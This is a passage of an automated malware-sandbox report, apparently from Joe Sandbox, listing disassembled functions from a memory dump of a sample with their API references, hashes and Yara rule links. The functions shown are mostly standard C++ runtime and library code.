Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: a61aa68e30ea48733240120e89ff8537e7df4061dc77ced7f33254e41f8e48b7
Instruction ID: 06b98894f24426d7218527dec1a792d9acfc95a94ec7ca0e0301345a04e80d8e
Opcode Fuzzy Hash: a61aa68e30ea48733240120e89ff8537e7df4061dc77ced7f33254e41f8e48b7
Instruction Fuzzy Hash: C201D235904219DBCF05FB64E8466AE7B65EF80720F28440EF528AB391EF70DE018BB0

Function 00D939EB Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00D939F2
std::_Lockit::_Lockit.LIBCPMT ref: 00D939FC

Part of subcall function 00D7BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00D7BD10
Part of subcall function 00D7BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00D7BD38

std::_Facet_Register.LIBCPMT ref: 00D93A4D
std::_Lockit::~_Lockit.LIBCPMT ref: 00D93A6D

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: 52401a8fe9ec0831b19fe83e0a61e1dcb1a6e27c9fc68373336c27b0209665c4
Instruction ID: 0f0d632164b6967dbcecb467e5fa5960f2b6cad75e475c692f97a8e4431adea4
Opcode Fuzzy Hash: 52401a8fe9ec0831b19fe83e0a61e1dcb1a6e27c9fc68373336c27b0209665c4
Instruction Fuzzy Hash: 6901AD759002199BCF01EBA4D8066AD7B61EF80720F29400AE415AB391EF70DF018BB1

Function 00D87AF3 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00D87AFA
std::_Lockit::_Lockit.LIBCPMT ref: 00D87B04

Part of subcall function 00D7BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00D7BD10
Part of subcall function 00D7BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00D7BD38

std::_Facet_Register.LIBCPMT ref: 00D87B55
std::_Lockit::~_Lockit.LIBCPMT ref: 00D87B75

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: 372df5b16d12f503fc246fabbf8ed0fca2d99e93db8bee5b1a68cd138d1f1cf0
Instruction ID: 4fcb4e1b03b12506297e3d13950b367805426a282084b4d8a2a94422a674cc50
Opcode Fuzzy Hash: 372df5b16d12f503fc246fabbf8ed0fca2d99e93db8bee5b1a68cd138d1f1cf0
Instruction Fuzzy Hash: 6C01D675900219CBCF01FBA4D8056AE77B2EF80720F29410AF519AB391DF70DE018BB0

Function 00D93A80 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00D93A87
std::_Lockit::_Lockit.LIBCPMT ref: 00D93A91

Part of subcall function 00D7BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00D7BD10
Part of subcall function 00D7BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00D7BD38

std::_Facet_Register.LIBCPMT ref: 00D93AE2
std::_Lockit::~_Lockit.LIBCPMT ref: 00D93B02

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: f3ecd17aeb2655f683bef1284357d9dfc21b0469eff8637ac92cf0be55c68c1b
Instruction ID: 4ddd00f080de999cb1c9644b6827093fb214a5ff0bcd135c54d3fded396dfde2
Opcode Fuzzy Hash: f3ecd17aeb2655f683bef1284357d9dfc21b0469eff8637ac92cf0be55c68c1b
Instruction Fuzzy Hash: 2C0180359002199BCF15FB64D8466AE7761EF84724F28450AE415AB391EF749E018BB4

Function 00D87A5E Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00D87A65
std::_Lockit::_Lockit.LIBCPMT ref: 00D87A6F

Part of subcall function 00D7BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00D7BD10
Part of subcall function 00D7BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00D7BD38

std::_Facet_Register.LIBCPMT ref: 00D87AC0
std::_Lockit::~_Lockit.LIBCPMT ref: 00D87AE0

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: 993495c9930b3be448aeb66820aa86016954d8b5fc5edbb40ee0392612b05e73
Instruction ID: f24fe15b0b73efc34c0eea4ac50ec20e89ec392a2c8f06599af6d1cd5b1854d5
Opcode Fuzzy Hash: 993495c9930b3be448aeb66820aa86016954d8b5fc5edbb40ee0392612b05e73
Instruction Fuzzy Hash: 03019E75904219DBCF05FB64D846AAEBB62EF84720F29450AF415AB391EF74DE01CBB0

Function 00D87B88 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00D87B8F
std::_Lockit::_Lockit.LIBCPMT ref: 00D87B99

Part of subcall function 00D7BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00D7BD10
Part of subcall function 00D7BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00D7BD38

std::_Facet_Register.LIBCPMT ref: 00D87BEA
std::_Lockit::~_Lockit.LIBCPMT ref: 00D87C0A

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: e4a1634688396f2864a07531367659b0cf3c4947436373e3897bbc0500463539
Instruction ID: 61925a4a7811edd1cd8d1097a9d3c35b3a56a4daa7be52b058145552c4e40316
Opcode Fuzzy Hash: e4a1634688396f2864a07531367659b0cf3c4947436373e3897bbc0500463539
Instruction Fuzzy Hash: E00180759002199BCF16FB64D8066AEB771EF80720F28440AE415AB392EF74DE01CBB0

Function 00D93CD4 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00D93CDB
std::_Lockit::_Lockit.LIBCPMT ref: 00D93CE5

Part of subcall function 00D7BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00D7BD10
Part of subcall function 00D7BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00D7BD38

std::_Facet_Register.LIBCPMT ref: 00D93D36
std::_Lockit::~_Lockit.LIBCPMT ref: 00D93D56

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: afbf446536c960ca75ed5f3d588e06136c1474407973f34ccfd124ebbcc57860
Instruction ID: d2d7643825287553a45bd6f854d872dc7dc0ca87da57ed688c1e7bbf3328bf9b
Opcode Fuzzy Hash: afbf446536c960ca75ed5f3d588e06136c1474407973f34ccfd124ebbcc57860
Instruction Fuzzy Hash: A00180359002199FCF15EBA4E8566AE7761EF80720F28450AE416AB391EF749E018BB0

Function 00D93C3F Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00D93C46
std::_Lockit::_Lockit.LIBCPMT ref: 00D93C50

Part of subcall function 00D7BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00D7BD10
Part of subcall function 00D7BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00D7BD38

std::_Facet_Register.LIBCPMT ref: 00D93CA1
std::_Lockit::~_Lockit.LIBCPMT ref: 00D93CC1

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: af82a6ffedbc7f3cf13fd3ee3eb91e8c691efa0336c35e126d52c44df9a22dc3
Instruction ID: 5919d29b92ecdf11b20d300d6721cd4064b066419762f41c0e9253d35322832c
Opcode Fuzzy Hash: af82a6ffedbc7f3cf13fd3ee3eb91e8c691efa0336c35e126d52c44df9a22dc3
Instruction Fuzzy Hash: 5E01C035900A199BCF01EBA4D8066ADB772EF84720F28440AF415AB391EF709E018BB0

Function 00D87E71 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00D87E78
std::_Lockit::_Lockit.LIBCPMT ref: 00D87E82

Part of subcall function 00D7BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00D7BD10
Part of subcall function 00D7BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00D7BD38

std::_Facet_Register.LIBCPMT ref: 00D87ED3
std::_Lockit::~_Lockit.LIBCPMT ref: 00D87EF3

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: 66ccc9ec7cf02fe47ebb52265d471bdaa423c9a34b1e476a7dc31f0f1e56adfa
Instruction ID: 1a1b3c6627cb9f62545670a8c5f5ebe01af50b4213f30f5aab032205bd730d6a
Opcode Fuzzy Hash: 66ccc9ec7cf02fe47ebb52265d471bdaa423c9a34b1e476a7dc31f0f1e56adfa
Instruction Fuzzy Hash: 1901D63590121ADFCF02FBA4D8166AE7761EF80720F28444AF410A7391EF70DE018BB0

Function 00D87F9B Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00D87FA2
std::_Lockit::_Lockit.LIBCPMT ref: 00D87FAC

Part of subcall function 00D7BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00D7BD10
Part of subcall function 00D7BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00D7BD38

std::_Facet_Register.LIBCPMT ref: 00D87FFD
std::_Lockit::~_Lockit.LIBCPMT ref: 00D8801D

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: 93798a263ca35e947ed71177739b907c2a1f5f282a74a04c9a0261b1f81d90e2
Instruction ID: 6f02c963777b311c4f8de1fe9ae7ba38495e321ee520da0c8d97b95970fddc4d
Opcode Fuzzy Hash: 93798a263ca35e947ed71177739b907c2a1f5f282a74a04c9a0261b1f81d90e2
Instruction Fuzzy Hash: CD01D235900219DBCF01FBA4D8566BEB7A1EF80721F28400AF411AB391EF709E019BB0

Function 00D87F06 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00D87F0D
std::_Lockit::_Lockit.LIBCPMT ref: 00D87F17

Part of subcall function 00D7BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00D7BD10
Part of subcall function 00D7BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00D7BD38

std::_Facet_Register.LIBCPMT ref: 00D87F68
std::_Lockit::~_Lockit.LIBCPMT ref: 00D87F88

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: 9ea7381cbe76e1e79452e5674b5d1c12b4f999bb7470c5e42e09d9b60f731ed6
Instruction ID: d6b3c4880c5af4b7f1d3642acc32fee3ca4b3ac6e8a4c5548560365d74aec9e3
Opcode Fuzzy Hash: 9ea7381cbe76e1e79452e5674b5d1c12b4f999bb7470c5e42e09d9b60f731ed6
Instruction Fuzzy Hash: 1B01C0359402199BCB05FBA5D8066AEB762EF80720F28450AF510AB3D1EF74DE018BB0

Function 00D85C66 Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00D85C6D
std::_Lockit::_Lockit.LIBCPMT ref: 00D85C78
std::_Lockit::~_Lockit.LIBCPMT ref: 00D85CE6

Part of subcall function 00D85DC8: std::locale::_Locimp::_Locimp.LIBCPMT ref: 00D85DE0

std::locale::_Setgloballocale.LIBCPMT ref: 00D85C93

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: Lockitstd::_std::locale::_$H_prolog3LocimpLocimp::_Lockit::_Lockit::~_Setgloballocale
String ID:
API String ID: 677527491-0
Opcode ID: 80e86efa995e8ff8ce2b0eab1453a6bf7f4464d9d08176e0edf6023581ab6711
Instruction ID: 26b77a58511075a56a087db31f74f1a35c6c8ce85e178e8dc7c4e972918709bb
Opcode Fuzzy Hash: 80e86efa995e8ff8ce2b0eab1453a6bf7f4464d9d08176e0edf6023581ab6711
Instruction Fuzzy Hash: 00017C79A01B509BDB06BB20E84557D7BA2FF85750B18400AE81297381DF78AE02DBF5

Function 00DB8C76 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,?,00DB8643,?,00000001,?,?,?,00DB7788,?,?,00000000), ref: 00DB8C8D
GetLastError.KERNEL32(?,00DB8643,?,00000001,?,?,?,00DB7788,?,?,00000000,?,?,?,00DB7D0F,?), ref: 00DB8C99

Part of subcall function 00DB8C5F: CloseHandle.KERNEL32(FFFFFFFE,00DB8CA9,?,00DB8643,?,00000001,?,?,?,00DB7788,?,?,00000000,?,?), ref: 00DB8C6F

___initconout.LIBCMT ref: 00DB8CA9

Part of subcall function 00DB8C21: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,00DB8C50,00DB8630,?,?,00DB7788,?,?,00000000,?), ref: 00DB8C34

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,00DB8643,?,00000001,?,?,?,00DB7788,?,?,00000000,?), ref: 00DB8CBE

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 19b1b43c3904d348897adbebd0a32746c5f371cfd5c0c2dca247c7a68145df5f
Instruction ID: 961a4b6bdd4158371060993f8aa0047b040ac31a0c982f179c9827de7bdbd679
Opcode Fuzzy Hash: 19b1b43c3904d348897adbebd0a32746c5f371cfd5c0c2dca247c7a68145df5f
Instruction Fuzzy Hash: 2AF0F876501265FBCF262FD5DC049C93F6AEF487A0F144510FA1A95220DA32C920EBB1

Function 00D978FD Relevance: 6.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

SleepConditionVariableCS.KERNELBASE(?,00D9789A,00000064), ref: 00D97920
LeaveCriticalSection.KERNEL32(00DD4AF8,?,?,00D9789A,00000064,?,?,00D725B6,00DD571C,862265DA,?,00000000,00DB93ED,000000FF,?,00D71A26), ref: 00D9792A
WaitForSingleObjectEx.KERNEL32(?,00000000,?,00D9789A,00000064,?,?,00D725B6,00DD571C,862265DA,?,00000000,00DB93ED,000000FF,?,00D71A26), ref: 00D9793B
EnterCriticalSection.KERNEL32(00DD4AF8,?,00D9789A,00000064,?,?,00D725B6,00DD571C,862265DA,?,00000000,00DB93ED,000000FF,?,00D71A26), ref: 00D97942

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: CriticalSection$ConditionEnterLeaveObjectSingleSleepVariableWait
String ID:
API String ID: 3269011525-0
Opcode ID: 247d017b2f3d81ae490e82e5ad8df8f65ecdc13ed9f032f8fadfae32462a0d16
Instruction ID: b34fbae7d7b152e4509b35189774937dc9769bf53067388c48fe879f6b9d2c9e
Opcode Fuzzy Hash: 247d017b2f3d81ae490e82e5ad8df8f65ecdc13ed9f032f8fadfae32462a0d16
Instruction Fuzzy Hash: 52E09235AC5325FBCB012B50EC08A9D3F15EF04755B054022F945A6360CBB048048BF8

Function 00DA709D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 194COMMONLIBRARYCODE

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 00DA712D

Strings

pow, xrefs: 00DA7105, 00DA7122

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: ErrorHandling__start
String ID: pow
API String ID: 3213639722-2276729525
Opcode ID: 0314e31c97ef427da8474aecac33324c0738f4e2f847f0a0faf5ebe29661b500
Instruction ID: 170380b30b94b146f72da61a4c18ec9ee8925201cefdd46e785e1f54cfe4adea
Opcode Fuzzy Hash: 0314e31c97ef427da8474aecac33324c0738f4e2f847f0a0faf5ebe29661b500
Instruction Fuzzy Hash: 14513961A0C30396CB1577A4CD4137E6BE4DB53700F288DF9E0D5822E9EB34C8959AB6

Function 00D96C34 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 185COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 00D96D98

Strings

-, xrefs: 00D96DC9
0123456789abcdefghijklmnopqrstuvwxyz, xrefs: 00D96CFE, 00D96D35, 00D96D3A

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: __aulldiv
String ID: -$0123456789abcdefghijklmnopqrstuvwxyz
API String ID: 3732870572-1956417402
Opcode ID: 285a729ccb77dea8bd64787266516cac09a834e10420e8c602d88a0f4674cbd9
Instruction ID: 6a06115d7056ba162e0070e5c33caeec6dfe73695abae5b4bfe6adc098f1ce38
Opcode Fuzzy Hash: 285a729ccb77dea8bd64787266516cac09a834e10420e8c602d88a0f4674cbd9
Instruction Fuzzy Hash: 7551D670B042595BDF259E6D88517BEBFFAEF45710F18406AF4E1D7241C274C9428B70

Function 00D7F860 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 167COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00D7FA3E

Strings

false, xrefs: 00D7F965
true, xrefs: 00D7F97B

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID: false$true
API String ID: 118556049-2658103896
Opcode ID: 65e025879fda657d3264aa5630193e2e66d3929f86416dfc4bb0f52f4e112fe3
Instruction ID: 074e9df416605a9c07e26947b0bd5c8e80acfa9bbfd29e4b23c1c312657738eb
Opcode Fuzzy Hash: 65e025879fda657d3264aa5630193e2e66d3929f86416dfc4bb0f52f4e112fe3
Instruction Fuzzy Hash: 325176B1D003489FDB20DFA4C941BEEB7B8FF45314F14826AE849A7281E775A545CB71

Function 00D922AA Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 158COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00D922B1
_swprintf.LIBCMT ref: 00D92329

Part of subcall function 00D8780A: __EH_prolog3.LIBCMT ref: 00D87811
Part of subcall function 00D8780A: std::_Lockit::_Lockit.LIBCPMT ref: 00D8781B
Part of subcall function 00D8780A: std::_Lockit::~_Lockit.LIBCPMT ref: 00D8788C

Strings

%.0Lf, xrefs: 00D92321

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

